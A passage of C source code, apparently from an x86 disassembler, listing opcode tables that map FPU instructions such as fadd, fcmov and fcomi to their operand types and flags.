INSTRUCTION_TYPE_FPU, \"fxam\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fld1\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fldl2t\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fldl2e\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fldpi\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fldlg2\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fldln2\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fldz\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"f2xm1\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fyl2x\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fptan\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fpatan\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fxtract\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fprem1\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fdecstp\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fincstp\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fprem\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fyl2xp1\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fsqrt\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fsincos\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"frndint\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fscale\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fsin\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fcos\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n};\nINST inst_table_fpu_da[72] = {\n { INSTRUCTION_TYPE_FIADD, \"fiaddl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIMUL, \"fimull\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FICOM, \"ficoml\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FICOMP,\"ficompl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISUB, \"fisubl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISUBR,\"fisubrl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIDIV, \"fidivl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIDIVR,\"fidivrl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmove\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucompp\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n};\n\n// XXX: fsetpm??\nINST inst_table_fpu_db[72] = {\n { INSTRUCTION_TYPE_FILD, \"fildl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISTTP,\"fisttp\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIST, \"fistl\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISTP, \"fistp\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fldt\", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstpl\", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnb\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovne\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnbe\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCMOVC,\"fcmovnu\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fclex\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"finit\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMI,\"fucomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMI, \"fcomi\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n};\nINST inst_table_fpu_dc[72] = {\n { INSTRUCTION_TYPE_FADD, \"faddl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FMUL, \"fmull\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FCOM, \"fcoml\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcompl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FSUB, \"fsubl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubrl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FDIV, \"fdivl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivrl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, 